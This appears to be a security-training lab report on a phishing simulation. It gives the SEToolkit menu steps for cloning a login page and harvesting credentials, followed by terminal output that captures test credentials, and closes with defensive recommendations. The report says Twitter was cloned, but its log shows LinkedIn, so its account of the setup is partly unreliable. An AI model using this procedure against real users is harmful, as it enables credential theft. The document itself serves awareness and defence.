TASK 2

SOCIAL ENGINEERING & PHISHING SIMULATION

Objective:

To conduct a simulated phishing attack in a controlled setting using the Social Engineering Toolkit (SEToolkit), showcasing how attackers can obtain sensitive data—such as usernames and passwords—by creating and using cloned login pages.

Tools Used:

- Social Engineering Toolkit (SEToolkit)

- Apache Web Server (automatically handled by SET)

Scenario Description:

A phishing simulation was conducted by cloning the login page of Twitter using SEToolkit. The phishing page was hosted locally on the attacker's machine at IP address 192.168.1.9, Once a victim accessed the page and attempted to log in, their credentials were harvested and displayed in the terminal.

Sequence of Events:

- Launched SEToolkit using `sudo setoolkit`.

- Selected:

    1) Social-Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester Attack Method > 2) Site Cloner.

- Entered local IP: 192.168.1.9

- Cloned site: http://www.twitter.com/login

- Started credential harvester server on port 80.

- Monitored the terminal for captured credentials.

```
same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.

   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

-------------------------------------------------------------------------
--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.9]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: https://www.linkedin.com/login

[*] Cloning the website: https://www.linkedin.com/login
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
```

Results:

The phishing page successfully captured the following login data from the victim:

- Username: admin@gmail.com

- Password: admin123

```
[*] WE GOT A HIT! Printing the output:
PARAM: csrfToken=ajax:2539213633928252420
PARAM: session_key=admin@gmail.com
PARAM: ac=0
POSSIBLE USERNAME FIELD FOUND: loginFailureCount=0
PARAM: sIdString=8d1bb8c9-e6a1-4725-85f0-7a317f5895be
PARAM: pkSupported=false
POSSIBLE USERNAME FIELD FOUND: parentPageKey=d_checkpoint_lg_consumerLogin
POSSIBLE USERNAME FIELD FOUND: pageInstance=urn:li:page:checkpoint_lg_login_default;Ttg+YHxtT1KWaqk+32RSzQ==
PARAM: trk=
PARAM: authUUID=
PARAM: session_redirect=
POSSIBLE USERNAME FIELD FOUND: loginCsrfParam=d2c87155-7f39-4f89-843b-1412456d40d2
PARAM: fp_data=default
PARAM: apfc={"df":{"a":"E4CVeMXyjOUwwbdxbg9i5A==","b":null,"c":null,"error":"TypeError:+Cannot+read+properties+of+undefined+(reading+'generateKey')"}}
PARAM: _d=d
POSSIBLE USERNAME FIELD FOUND: showGoogleOneTapLogin=true
POSSIBLE USERNAME FIELD FOUND: showAppleLogin=true
POSSIBLE USERNAME FIELD FOUND: showMicrosoftLogin=true
POSSIBLE USERNAME FIELD FOUND: controlId=d_checkpoint_lg_consumerLogin-login_submit_button
POSSIBLE PASSWORD FIELD FOUND: session_password=admin123
PARAM: rememberMeOptIn=true
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

Security Recommendations:

- Conduct regular employee awareness training on phishing and social engineering attacks.
- Use Multi-Factor Authentication (MFA) to prevent unauthorized access even if credentials are compromised.
- Implement strict email and link filtering solutions to block suspicious phishing links.
- Run internal phishing simulations to assess awareness levels.
- Keep all software, browsers, and plugins up to date to reduce vulnerabilities.
- Restrict access to sensitive systems based on the principle of least privilege.
- Monitor network traffic for unusual or unauthorized activity.
- Enforce strong password policies, including regular updates and complexity requirements.
- Utilize anti-phishing browser extensions and endpoint protection tools.
- Encourage users to report suspicious emails and links through an established incident response process.
- Regularly review and update security policies and incident response plans.

Conclusion

The simulated phishing campaign highlights the impact of social engineering attacks. Even simple cloned login pages can successfully trick users and collect sensitive credentials. To reduce this risk, comprehensive user training and strong technical safeguards are crucial.